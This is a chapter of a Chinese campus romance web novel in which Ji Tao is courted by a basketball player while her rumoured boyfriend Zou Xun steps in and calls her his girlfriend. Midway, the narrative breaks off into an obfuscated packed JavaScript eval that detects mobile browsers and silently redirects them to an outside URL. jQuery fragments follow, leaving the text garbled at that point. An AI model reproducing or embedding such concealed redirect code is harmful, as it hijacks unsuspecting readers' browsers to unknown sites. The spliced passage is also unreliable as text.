33. 我女朋友

作品:《不可能三角

    难道还和他过不了几招?好像她季桃就不会玩暧昧一样。


    还真不会。况且,游泳打球等活动好像给两人的关系定下了一个健康向上的基调,哪怕偶尔身体碰触,也是合理的、正大光明的。总之,她和邹巡间的一切似被明亮的阳光照耀着,不是她以为适合暧昧那种氛围。


    季桃一筹莫展了。


    心里已经够惴惴不安的,还有外部压力呢。最让季桃为难的是,别人都不信她和邹巡不是恋人关系。


    身为“校花”,三年过去了,季桃还没谈个男朋友,同楼的女生都攒了一肚子好奇,瞪大了眼睛要瞧瞧她到底找个什么样的。邹巡出现,大家没话说了。


    是真没话说:男才女貌,摆在那儿,还用谁多嘴?而且可能因为邹巡太帅,气质又偏冷,女生们在他面前格外矜持,不大张口,也不撺掇季桃“让你男朋友请客吃饭”——这是所有“男朋友”必经的考验,更何况她们听说邹巡工作过几年,比别个“男朋友”应该富裕一些,本来是不会放过的。这倒免了季桃额外的担心:万一邹巡听见什么话,误会她自作多情,太尴尬了。


    但是季桃看得懂舍友们的表情,她们的眼神明白无误表达出对她的羡慕和佩服。季桃差点苦笑——看,女孩子的心思多好猜。


    谁还没点儿虚荣心啊,不然是人么?要是有邹巡这么一个男朋友,再领承着大家羡慕的目光,季桃该多么有面子,多么飘飘然啊。


    前提是,如果邹巡真是她男朋友。


    可惜不是。更糟的是,别人都默认是,连问都不问了,让季桃想解释都没地儿解释。


    不过,确实还有一个人肯相信她,是个挺讨厌的女生,那女生公然说:“你们怎么都说那是季桃男朋友,咱们季桃一心喜欢有钱大叔,你们看不出来?”


    季桃回:“不好意思啊,咱俩喜好真不一样,你不用担心我和你抢。”


    那女生也并不恼:“邹巡要是你男朋友,有什么不能承认的,不怕帅哥被人撬走?——哎,季桃,既然不是,是不是我们都有机会?”她边说边向旁边几个女生挤眼睛。


    季桃倒不怕,可当天晚上,她偏偏做了个活灵活现的梦。她约邹巡去自习,邹巡拒绝了,说:“我还有事,我要陪我女朋友出去玩。”说完这话,那女生便从他身后站出来,挽着他的手臂,看着季桃静静地微笑。


    在梦里,季桃真的给气哭了。


    季桃认定自己的心思在邹巡眼前是袒露无遗,而邹巡却不动声色,真让人气恼——咱们就等着,看将来有没有你丢不开的那天?


    有时她想算了,以后别见邹巡了,省得越陷越深。可是,关系都好成朋友了,没一句解释突然抽身,赌气的意思太明显,而且,季桃还是很没出息地想等个转机。


    很快就等到了。


    那天她上完课出来正好碰见邹巡,两人一起去食堂,买好饭刚坐下,还没拿起筷子,季桃看见食堂门口进来四个人,四人全是大个儿,一看就是体育生。


    其中之一是对季桃表示过好感的田丰。


    田丰是篮球特招入校的,在校队打前锋,长得挺有型,比邹巡还高半个脑袋。一个男生个子高、长得不错、打篮球,听上去就讨女生喜欢,但季桃不喜欢田丰。头一个缘故是他太高,有压迫感;二一个他是低了两级的学弟,季桃对姐弟恋没兴趣;第三,田丰是真正四肢发达头脑简单那种体育生——年龄差一两岁还谈不上代沟,但两人的心智真的隔了一道雅鲁藏布大峡谷,季桃和他根本没话说。


    讲句不厚道的,和田丰站在一块,季桃总感觉领了一头巨型二哈,假若他能做到不说话、不动,季桃又会感觉自己带着个壮汉保镖——说拉风是拉风,说尴尬也是真尴尬。


    上学期一次校内比赛,田丰中途赌气离场,篮球往地上狠狠一掼,赛后,又差点到八号宿舍下公开表白,结果,连辅导员都来找季桃,婉转告诫她不要和体育生恋爱,以免影响对方成绩。


    季桃气坏了:“我和他什么关系都没有,即便有,也是他招惹我,我从没招惹过他。怎么不说他训练强度不够,还有时间想乱七八糟的?”


    不过,她还是当着辅导员的面给田丰打了个电话,说自己专注于学业,不打算找男朋友,同时劝他也专心学习、专心训练,其它事情以后再考虑不迟。


    那之后,季桃尽可能躲着校队的人。谁知,这次抬头一瞥,正看见田丰,也正被他看见,田丰眼睛一亮。


    “我买瓶饮料。”季桃站起身说,走到一旁的冷饮柜台。


    她磨磨蹭蹭,等着田丰走过去。本来不想喝水,但既然来了,只买一个不好看,就拿了两瓶绿茶,付了钱刚转身,正看见田丰几人。他们喜欢横成一排,浑不在意地堵住别人的路。


    既然躲不过,干脆利用一下好了,季桃笑着和田丰打招呼。


    田丰向同伴说了句什么,洋洋得意一摆脑袋,架式很足地走近她。


    “吃完了?”田丰问。


    “还没吃呢。”


    “等会儿,咱们一起。”


    “不好意思,我和朋友一块来的。”


    田丰刚要扭头看,他队友从冰柜了抱出一堆雪糕过来,田丰便拿一支给季桃。


    “我不吃,谢谢。”


    田丰不由分说从她手里拿走一瓶水,把雪糕塞进去。“给个面儿。你请我喝水,这样好不好?”他望着季桃笑。


    体育生有个好处,不会作伪,各种心事都在脸上表现得清清楚楚。倘若邹巡正好看见这一幕,就会明白她季桃也有很热情的仰慕者。


    季桃对田丰笑了笑,田丰立即回了一个憨乎乎的笑。等他醒过神,急忙扭头寻找自己的同伴,仿佛刚刚扣了个篮,要是没人见证就遗憾了。


    错过不了。季桃知道,今天晚上,在他们充斥着球鞋球袜味的宿舍里,自己的名字会成为吹嘘对象,由田丰本人一一传达到校队每一个成员耳朵里。这些大个儿除了比赛成绩,还爱攀比别的呢。


    她忽然感到一阵沮丧,和田丰说拜拜,向邹巡走去。


    邹巡看着她,大概也不是看她,是看她身后。


    季桃刚把水放在桌上,邹巡就自然而然地拿起来,拧开瓶盖灌了一口,依然朝她后面的人看。


    季桃发现邹巡的筷子还是干干净净放在旁边,这么说刚才他也一直看着,肯定全都看在眼里了。


    她喜滋滋的,故意问:“你怎么不吃呀?”


    “等你。”邹巡说。


    季桃忙去看他的眼睛,却没被他的目光接住。他始终望着她后方——还能看谁?肯定是田丰。邹巡一脸平静,他的脸色越平静,包含的不屑和挑衅越多。


    而邻近几桌的人都含着一嘴饭,抬头望着他们。


    季桃有点紧张了,刚动一下,邹巡说:“别回头,别理他们。”


    这时他才面对季桃,和平时一样,说笑一两句,低下头吃饭。过得片刻,周围的人嘴巴也纷纷开始动起来。


    季桃想,没事了,那些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039069|192693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人走了。


    “挺烦人是吧?”邹巡问。


    季桃含糊笑了笑。好像又不对了,好像他单纯就是看不惯田丰他们几个人。


    邹巡再没就这个话题说半个字。季桃默默啃着雪糕,心里也凉凉的。


    这是中午,下午季桃还有课,忍到下课她才掏出手机,邹巡没发来消息。


    晚上她在宿舍,八点多钟,同屋一个女生回来,看见季桃满脸吃惊:“你怎么说的?这么快就解决了?”


    “解决什么?”季桃莫名其妙。


    “篮球队那几个,叫什么来着,满学校找你男朋友,说今天晚上要让他好看。——校园墙上有,你没看见?”


    “没。”季桃抓起手机就奔了出去。


    邹巡好像不关注校园墙,他八成也不知道,说不定田丰找不到他。


    不过,给邹巡拨电话,无人接听。邹巡一向都是秒回消息,没道理不接电话。他该不会被堵在哪里,他们已经打起来了?


    学校对学生打架处理很重,但田丰那个没脑子的家伙,一受人怂恿,不定能干出什么事来。他要是真打伤了邹巡,学校就是开除他又有什么用;即使没打得那么狠,依邹巡的骄傲性子,肯定也不会和田丰甘休。


    得拦住他们。季桃不知道该去哪儿,不知不觉跑到了篮球馆。


    在门外就听见球弹在地上的砰砰声,季桃停下喘了一口气,又怕田丰不在,便走进去看:天棚上大功率投光灯全开着,亮晃晃的,照着场地上几个奔跑跳跃的身影——年轻、壮美的身影。砰砰的响声清亮又高昂。


    走近时,所有人都站住,扭头看她。邹巡是第一个转过脸的,脸上带着笑。


    田丰在旁喊一句:“你女朋友找你来了。”


    旁边数人粗莽地大笑,吹口哨,一哄而散。


    季桃没理会他们,只看着邹巡。仿佛就在田丰喊出那句话的一瞬间,邹巡脸上的笑容不见了,下巴紧绷着,季桃的心一沉。


    可是邹巡走来,伸手搂住她脖子,将她向自己胸前拉了拉。“我女朋友找我来了。我看见了。”他用指头尖轻轻碰了碰她的脸,又不满地向田丰等人离去的方向抬抬下巴,“谁问他了,是他多嘴嚷嚷的吗?”


    脖子后面湿乎乎的,凉凉的,又烫烫的,好一时,她想起那是他手臂上的汗。季桃心花怒放。现在是她能够轻易控制的局面了。


    “是你说的吗?也没问我呀,该我说。”她调皮地望进他的眼眸中。


    “那你说呢?”邹巡问,一霎不霎盯着她。


    季桃看出他有点紧张,心里扑哧一笑,嘴上不答。


    “你怎么来了?”邹巡换个问题。


    “我听见他们几个找你,我还以为你们要打架。”


    “是我找他们。”


    “找他们打球?我都不知道你篮球打得这么好。”


    邹巡终于又笑了:“那当然,我可是和……比他们厉害得多得多的人打过。要是他们不走,你在这儿,让你看我超常发挥。”他难得吹了句牛。


    “你找田丰,跟他说什么了?”


    “我说你敢再打扰我女朋友试试。”


    “你真这么说了?”季桃大笑。


    “差不多这个意思。”邹巡手臂加力,又将她往胸膛揽了揽,“你怎么来了,是不是怕我吃亏?”


    “可不是嘛。我准备冲进来英雄救美。”季桃自豪地仰起脸,对着更衣室翘翘下巴,放肆道,“我看他们谁敢动我男朋友试试?”